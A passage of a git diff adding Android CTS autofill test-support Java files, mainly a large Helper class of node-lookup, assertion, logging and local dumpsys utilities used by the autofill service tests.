+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.autofillservice.cts.R;
+import android.service.autofill.CustomDescription;
+import android.widget.RemoteViews;
+
+public final class CustomDescriptionHelper {
+
+    public static final String ID_SHOW = "show";
+    public static final String ID_HIDE = "hide";
+    public static final String ID_USERNAME_PLAIN = "username_plain";
+    public static final String ID_USERNAME_MASKED = "username_masked";
+    public static final String ID_PASSWORD_PLAIN = "password_plain";
+    public static final String ID_PASSWORD_MASKED = "password_masked";
+
+    private static final String sPackageName =
+            getInstrumentation().getTargetContext().getPackageName();
+
+
+    public static CustomDescription.Builder newCustomDescriptionWithUsernameAndPassword() {
+        return new CustomDescription.Builder(new RemoteViews(sPackageName,
+                R.layout.custom_description_with_username_and_password));
+    }
+
+    public static CustomDescription.Builder newCustomDescriptionWithHiddenFields() {
+        return new CustomDescription.Builder(new RemoteViews(sPackageName,
+                R.layout.custom_description_with_hidden_fields));
+    }
+
+    private CustomDescriptionHelper() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java
new file mode 100644
index 0000000..97a053a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/DismissType.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+/**
+ * A simple enum for test cases where the Save UI is dismissed.
+ *
+ * <p><b>Note:</b> When new values are added to the enum, the equivalent tests must be added to
+ * both {@link LoginActivityTest} and {@link SimpleSaveActivityTest}.
+ */
+public enum DismissType {
+    BACK_BUTTON,
+    HOME_BUTTON,
+    TOUCH_OUTSIDE,
+    FOCUS_OUTSIDE
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java
new file mode 100644
index 0000000..9f788d7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/DoubleVisitor.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import androidx.annotation.NonNull;
+
+/**
+ * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
+ * hosting it).
+ *
+ * @param <V1> 1st visited object
+ * @param <V2> 2nd visited object
+ */
+// TODO: move to common
+public interface DoubleVisitor<V1, V2> {
+
+    /**
+     * Visit those objects.
+     */
+    void visit(@NonNull V1 visited1, @NonNull V2 visited2);
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
new file mode 100644
index 0000000..933b8c2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -0,0 +1,1615 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+import static android.provider.Settings.Secure.SELECTED_INPUT_METHOD_SUBTYPE;
+import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.app.assist.AssistStructure.WindowNode;
+import android.autofillservice.cts.R;
+import android.content.AutofillOptions;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.icu.util.Calendar;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.Settings;
+import android.service.autofill.FieldClassification;
+import android.service.autofill.FieldClassification.Match;
+import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.InlinePresentation;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+import android.util.Size;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewStructure.HtmlInfo;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillManager.AutofillCallback;
+import android.view.autofill.AutofillValue;
+import android.webkit.WebView;
+import android.widget.RemoteViews;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.autofill.inline.v1.InlineSuggestionUi;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.OneTimeSettingsListener;
+import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.TestNameUtils;
+import com.android.compatibility.common.util.Timeout;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+import java.util.regex.Pattern;
+
+/**
+ * Helper for common funcionalities.
+ */
+public final class Helper {
+
+    public static final String TAG = "AutoFillCtsHelper";
+
+    public static final boolean VERBOSE = false;
+
+    public static final String MY_PACKAGE = "android.autofillservice.cts";
+
+    public static final String ID_USERNAME_LABEL = "username_label";
+    public static final String ID_USERNAME = "username";
+    public static final String ID_PASSWORD_LABEL = "password_label";
+    public static final String ID_PASSWORD = "password";
+    public static final String ID_LOGIN = "login";
+    public static final String ID_OUTPUT = "output";
+    public static final String ID_STATIC_TEXT = "static_text";
+    public static final String ID_EMPTY = "empty";
+    public static final String ID_CANCEL_FILL = "cancel_fill";
+
+    public static final String NULL_DATASET_ID = null;
+
+    public static final char LARGE_STRING_CHAR = '6';
+    // NOTE: cannot be much large as it could ANR and fail the test.
+    public static final int LARGE_STRING_SIZE = 100_000;
+    public static final String LARGE_STRING = com.android.compatibility.common.util.TextUtils
+            .repeat(LARGE_STRING_CHAR, LARGE_STRING_SIZE);
+
+    /**
+     * Can be used in cases where the autofill values is required by irrelevant (like adding a
+     * value to an authenticated dataset).
+     */
+    public static final String UNUSED_AUTOFILL_VALUE = null;
+
+    private static final String ACCELLEROMETER_CHANGE =
+            "content insert --uri content://settings/system --bind name:s:accelerometer_rotation "
+                    + "--bind value:i:%d";
+
+    private static final String LOCAL_DIRECTORY = Environment.getExternalStorageDirectory()
+            + "/CtsAutoFillServiceTestCases";
+
+    private static final Timeout SETTINGS_BASED_SHELL_CMD_TIMEOUT = new Timeout(
+            "SETTINGS_SHELL_CMD_TIMEOUT", OneTimeSettingsListener.DEFAULT_TIMEOUT_MS / 2, 2,
+            OneTimeSettingsListener.DEFAULT_TIMEOUT_MS);
+
+    /**
+     * Helper interface used to filter nodes.
+     *
+     * @param <T> node type
+     */
+    interface NodeFilter<T> {
+        /**
+         * Returns whether the node passes the filter for such given id.
+         */
+        boolean matches(T node, Object id);
+    }
+
+    private static final NodeFilter<ViewNode> RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(node.getIdEntry());
+    };
+
+    private static final NodeFilter<ViewNode> HTML_NAME_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node));
+    };
+
+    private static final NodeFilter<ViewNode> HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+        return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+    };
+
+    private static final NodeFilter<ViewNode> TEXT_FILTER = (node, id) -> {
+        return id.equals(node.getText());
+    };
+
+    private static final NodeFilter<ViewNode> AUTOFILL_HINT_FILTER = (node, id) -> {
+        return hasHint(node.getAutofillHints(), id);
+    };
+
+    private static final NodeFilter<ViewNode> WEBVIEW_FORM_FILTER = (node, id) -> {
+        final String className = node.getClassName();
+        if (!className.equals("android.webkit.WebView")) return false;
+
+        final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+        final String formName = getAttributeValue(htmlInfo, "name");
+        return id.equals(formName);
+    };
+
+    private static final NodeFilter<View> AUTOFILL_HINT_VIEW_FILTER = (view, id) -> {
+        return hasHint(view.getAutofillHints(), id);
+    };
+
+    private static String toString(AssistStructure structure, StringBuilder builder) {
+        builder.append("[component=").append(structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            dump(builder, windowNode.getRootViewNode(), " ", 0);
+        }
+        return builder.append(']').toString();
+    }
+
+    @NonNull
+    public static String toString(@NonNull AssistStructure structure) {
+        return toString(structure, new StringBuilder());
+    }
+
+    @Nullable
+    public static String toString(@Nullable AutofillValue value) {
+        if (value == null) return null;
+        if (value.isText()) {
+            // We don't care about PII...
+            final CharSequence text = value.getTextValue();
+            return text == null ? null : text.toString();
+        }
+        return value.toString();
+    }
+
+    /**
+     * Dump the assist structure on logcat.
+     */
+    public static void dumpStructure(String message, AssistStructure structure) {
+        Log.i(TAG, toString(structure, new StringBuilder(message)));
+    }
+
+    /**
+     * Dump the contexts on logcat.
+     */
+    public static void dumpStructure(String message, List<FillContext> contexts) {
+        for (FillContext context : contexts) {
+            dumpStructure(message, context.getStructure());
+        }
+    }
+
+    /**
+     * Dumps the state of the autofill service on logcat.
+     */
+    public static void dumpAutofillService(@NonNull String tag) {
+        final String autofillDump = runShellCommand("dumpsys autofill");
+        Log.i(tag, "dumpsys autofill\n\n" + autofillDump);
+        final String myServiceDump = runShellCommand("dumpsys activity service %s",
+                InstrumentedAutoFillService.SERVICE_NAME);
+        Log.i(tag, "my service dump: \n" + myServiceDump);
+    }
+
+    /**
+     * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+     * that it says the number of active inline suggestion views is the given number.
+     *
+     * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+     * But at the time this test is added for Android 11, we have passed the deadline for adding
+     * the new test api, hence this approach.
+     */
+    public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+        String response = runShellCommand(
+                "dumpsys activity service .InlineSuggestionRenderService");
+        Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+        Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+        assertWithMessage("Expecting view count " + count
+                + ", but seeing different count from service dumpsys " + response).that(
+                pattern.matcher(response).find()).isTrue();
+    }
+
+    /**
+     * Sets whether the user completed the initial setup.
+     */
+    public static void setUserComplete(Context context, boolean complete) {
+        SettingsUtils.syncSet(context, USER_SETUP_COMPLETE, complete ? "1" : null);
+    }
+
+    private static void dump(@NonNull StringBuilder builder, @NonNull ViewNode node,
+            @NonNull String prefix, int childId) {
+        final int childrenSize = node.getChildCount();
+        builder.append("\n").append(prefix)
+            .append("child #").append(childId).append(':');
+        append(builder, "afId", node.getAutofillId());
+        append(builder, "afType", node.getAutofillType());
+        append(builder, "afValue", toString(node.getAutofillValue()));
+        append(builder, "resId", node.getIdEntry());
+        append(builder, "class", node.getClassName());
+        append(builder, "text", node.getText());
+        append(builder, "webDomain", node.getWebDomain());
+        append(builder, "checked", node.isChecked());
+        append(builder, "focused", node.isFocused());
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo != null) {
+            builder.append(", HtmlInfo[tag=").append(htmlInfo.getTag())
+                .append(", attrs: ").append(htmlInfo.getAttributes()).append(']');
+        }
+        if (childrenSize > 0) {
+            append(builder, "#children", childrenSize).append("\n").append(prefix);
+            prefix += " ";
+            if (childrenSize > 0) {
+                for (int i = 0; i < childrenSize; i++) {
+                    dump(builder, node.getChildAt(i), prefix, i);
+                }
+            }
+        }
+    }
+
+    /**
+     * Appends a field value to a {@link StringBuilder} when it's not {@code null}.
+     */
+    @NonNull
+    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
+            @Nullable Object value) {
+        if (value == null) return builder;
+
+        if ((value instanceof Boolean) && ((Boolean) value)) {
+            return builder.append(", ").append(field);
+        }
+
+        if (value instanceof Integer && ((Integer) value) == 0
+                || value instanceof CharSequence && TextUtils.isEmpty((CharSequence) value)) {
+            return builder;
+        }
+
+        return builder.append(", ").append(field).append('=').append(value);
+    }
+
+    /**
+     * Appends a field value to a {@link StringBuilder} when it's {@code true}.
+     */
+    @NonNull
+    public static StringBuilder append(@NonNull StringBuilder builder, @NonNull String field,
+            boolean value) {
+        if (value) {
+            builder.append(", ").append(field);
+        }
+        return builder;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull AssistStructure structure, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        Log.v(TAG, "Parsing request for activity " + structure.getActivityComponent());
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            final ViewNode node = findNodeByFilter(rootNode, id, filter);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull List<FillContext> contexts, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        for (FillContext context : contexts) {
+            ViewNode node = findNodeByFilter(context.getStructure(), id, filter);
+            if (node != null) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node if it matches the filter criteria for the given id.
+     */
+    public static ViewNode findNodeByFilter(@NonNull ViewNode node, @NonNull Object id,
+            @NonNull NodeFilter<ViewNode> filter) {
+        if (filter.matches(node, id)) {
+            return node;
+        }
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                final ViewNode found = findNodeByFilter(node.getChildAt(i), id, filter);
+                if (found != null) {
+                    return found;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(AssistStructure structure, String resourceId) {
+        return findNodeByFilter(structure, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(List<FillContext> contexts, String resourceId) {
+        return findNodeByFilter(contexts, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
+        return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
+        return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
+        return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
+        return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
+    }
+
+    /**
+     * Gets a node given the value of its (single) autofill hint property, or {@code null} if not
+     * found.
+     */
+    public static ViewNode findNodeByAutofillHint(ViewNode node, String hint) {
+        return findNodeByFilter(node, hint, AUTOFILL_HINT_FILTER);
+    }
+
+    /**
+     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+     * not found.
+     */
+    public static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+    }
+
+    /**
+     * Gets a node given its Android resource id.
+     */
+    @NonNull
+    public static AutofillId findAutofillIdByResourceId(@NonNull FillContext context,
+            @NonNull String resourceId) {
+        final ViewNode node = findNodeByFilter(context.getStructure(), resourceId,
+                RESOURCE_ID_FILTER);
+        assertWithMessage("No node for resourceId %s", resourceId).that(node).isNotNull();
+        return node.getAutofillId();
+    }
+
+    /**
+     * Gets the {@code name} attribute of a node representing an HTML input tag.
+     */
+    @Nullable
+    public static String getHtmlName(@NonNull ViewNode node) {
+        final HtmlInfo htmlInfo = node.getHtmlInfo();
+        if (htmlInfo == null) {
+            return null;
+        }
+        final String tag = htmlInfo.getTag();
+        if (!"input".equals(tag)) {
+            Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
+            return null;
+        }
+        for (Pair<String, String> attr : htmlInfo.getAttributes()) {
+            if ("name".equals(attr.first)) {
+                return attr.second;
+            }
+        }
+        Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
+        return null;
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByText(AssistStructure structure, String text) {
+        return findNodeByFilter(structure, text, TEXT_FILTER);
+    }
+
+    /**
+     * Gets a node given its expected text, or {@code null} if not found.
+     */
+    public static ViewNode findNodeByText(ViewNode node, String text) {
+        return findNodeByFilter(node, text, TEXT_FILTER);
+    }
+
+    /**
+     * Gets a view that contains the an autofill hint, or {@code null} if not found.
+     */
+    public static View findViewByAutofillHint(Activity activity, String hint) {
+        final View rootView = activity.getWindow().getDecorView().getRootView();
+        return findViewByAutofillHint(rootView, hint);
+    }
+
+    /**
+     * Gets a view (or a descendant of it) that contains the an autofill hint, or {@code null} if
+     * not found.
+     */
+    public static View findViewByAutofillHint(View view, String hint) {
+        if (AUTOFILL_HINT_VIEW_FILTER.matches(view, hint)) return view;
+        if ((view instanceof ViewGroup)) {
+            final ViewGroup group = (ViewGroup) view;
+            for (int i = 0; i < group.getChildCount(); i++) {
+                final View child = findViewByAutofillHint(group.getChildAt(i), hint);
+                if (child != null) return child;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts a text-based node is sanitized.
+     */
+    public static void assertTextIsSanitized(ViewNode node) {
+        final CharSequence text = node.getText();
+        final String resourceId = node.getIdEntry();
+        if (!TextUtils.isEmpty(text)) {
+            throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
+        }
+
+        assertNotFromResources(node);
+        assertNodeHasNoAutofillValue(node);
+    }
+
+    private static void assertNotFromResources(ViewNode node) {
+        assertThat(node.getTextIdEntry()).isNull();
+    }
+
+    public static void assertNodeHasNoAutofillValue(ViewNode node) {
+        final AutofillValue value = node.getAutofillValue();
+        if (value != null) {
+            final String text = value.isText() ? value.getTextValue().toString() : "N/A";
+            throw new AssertionError("node has value: " + value + " text=" + text);
+        }
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextOnly(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, false);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextOnly(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertText(node, expectedValue, false);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts the contents of a text-based node that is also auto-fillable.
+     */
+    public static void assertTextAndValue(ViewNode node, String expectedValue) {
+        assertText(node, expectedValue, true);
+        assertNotFromResources(node);
+    }
+
+    /**
+     * Asserts a text-based node exists and verify its values.
+     */
+    public static ViewNode assertTextAndValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextAndValue(node, expectedValue);
+        return node;
+    }
+
+    /**
+     * Asserts a text-based node exists and is sanitized.
+     */
+    public static ViewNode assertValue(AssistStructure structure, String resourceId,
+            String expectedValue) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertTextValue(node, expectedValue);
+        return node;
+    }
+
+    /**
+     * Asserts the values of a text-based node whose string come from resoruces.
+     */
+    public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
+            String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertText(node, expectedValue, isAutofillable);
+        assertThat(node.getTextIdEntry()).isEqualTo(expectedTextIdEntry);
+        return node;
+    }
+
+    public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
+            String expectedValue, String expectedHintIdEntry) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertThat(node.getHint()).isEqualTo(expectedValue);
+        assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
+        return node;
+    }
+
+    private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
+        assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
+                .isEqualTo(expectedValue);
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        if (isAutofillable) {
+            assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
+            assertWithMessage("wrong auto-fill value on %s", id)
+                    .that(value.getTextValue().toString()).isEqualTo(expectedValue);
+        } else {
+            assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
+        }
+    }
+
+    /**
+     * Asserts the auto-fill value of a text-based node.
+     */
+    public static ViewNode assertTextValue(ViewNode node, String expectedText) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
+                .isEqualTo(expectedText);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a list-based node.
+     */
+    public static ViewNode assertListValue(ViewNode node, int expectedIndex) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
+                .isEqualTo(expectedIndex);
+        return node;
+    }
+
+    /**
+     * Asserts the auto-fill value of a toggle-based node.
+     */
+    public static void assertToggleValue(ViewNode node, boolean expectedToggle) {
+        final AutofillValue value = node.getAutofillValue();
+        final AutofillId id = node.getAutofillId();
+        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
+        assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
+                .isEqualTo(expectedToggle);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    public static void assertDateValue(Object object, AutofillValue value, int year, int month,
+            int day) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong year on AutofillValue %s", value)
+            .that(cal.get(Calendar.YEAR)).isEqualTo(year);
+        assertWithMessage("Wrong month on AutofillValue %s", value)
+            .that(cal.get(Calendar.MONTH)).isEqualTo(month);
+        assertWithMessage("Wrong day on AutofillValue %s", value)
+             .that(cal.get(Calendar.DAY_OF_MONTH)).isEqualTo(day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based node.
+     */
+    public static void assertDateValue(ViewNode node, int year, int month, int day) {
+        assertDateValue(node, node.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a date-based view.
+     */
+    public static void assertDateValue(View view, int year, int month, int day) {
+        assertDateValue(view, view.getAutofillValue(), year, month, day);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    private static void assertTimeValue(Object object, AutofillValue value, int hour, int minute) {
+        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
+        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
+
+        final Calendar cal = Calendar.getInstance();
+        cal.setTimeInMillis(value.getDateValue());
+
+        assertWithMessage("Wrong hour on AutofillValue %s", value)
+            .that(cal.get(Calendar.HOUR_OF_DAY)).isEqualTo(hour);
+        assertWithMessage("Wrong minute on AutofillValue %s", value)
+            .that(cal.get(Calendar.MINUTE)).isEqualTo(minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based node.
+     */
+    public static void assertTimeValue(ViewNode node, int hour, int minute) {
+        assertTimeValue(node, node.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts the auto-fill value of a time-based view.
+     */
+    public static void assertTimeValue(View view, int hour, int minute) {
+        assertTimeValue(view, view.getAutofillValue(), hour, minute);
+    }
+
+    /**
+     * Asserts a text-based node exists and is sanitized.
+     */
+    public static ViewNode assertTextIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+        return node;
+    }
+
+    /**
+     * Asserts a list-based node exists and is sanitized.
+     */
+    public static void assertListValueIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
+        assertTextIsSanitized(node);
+    }
+
+    /**
+     * Asserts a toggle node exists and is sanitized.
+     */
+    public static void assertToggleIsSanitized(AssistStructure structure, String resourceId) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertNodeHasNoAutofillValue(node);
+        assertWithMessage("ViewNode %s should not be checked", resourceId).that(node.isChecked())
+                .isFalse();
+    }
+
+    /**
+     * Asserts a node exists and has the {@code expected} number of children.
+     */
+    public static void assertNumberOfChildren(AssistStructure structure, String resourceId,
+            int expected) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        final int actual = node.getChildCount();
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for " + resourceId
+                    + " failed: expected " + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Asserts the number of children in the Assist structure.
+     */
+    public static void assertNumberOfChildren(AssistStructure structure, int expected) {
+        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
+                .isEqualTo(1);
+        final int actual = getNumberNodes(structure);
+        if (actual != expected) {
+            dumpStructure("assertNumberOfChildren()", structure);
+            throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
+                    + expected + ", got " + actual);
+        }
+    }
+
+    /**
+     * Gets the total number of nodes in an structure.
+     */
+    public static int getNumberNodes(AssistStructure structure) {
+        int count = 0;
+        final int nodes = structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; i++) {
+            final WindowNode windowNode = structure.getWindowNodeAt(i);
+            final ViewNode rootNode = windowNode.getRootViewNode();
+            count += getNumberNodes(rootNode);
+        }
+        return count;
+    }
+
+    /**
+     * Gets the total number of nodes in an node, including all descendants and the node itself.
+     */
+    public static int getNumberNodes(ViewNode node) {
+        int count = 1;
+        final int childrenSize = node.getChildCount();
+        if (childrenSize > 0) {
+            for (int i = 0; i < childrenSize; i++) {
+                count += getNumberNodes(node.getChildAt(i));
+            }
+        }
+        return count;
+    }
+
+    /**
+     * Creates an array of {@link AutofillId} mapped from the {@code structure} nodes with the given
+     * {@code resourceIds}.
+     */
+    public static AutofillId[] getAutofillIds(Function<String, ViewNode> nodeResolver,
+            String[] resourceIds) {
+        if (resourceIds == null) return null;
+
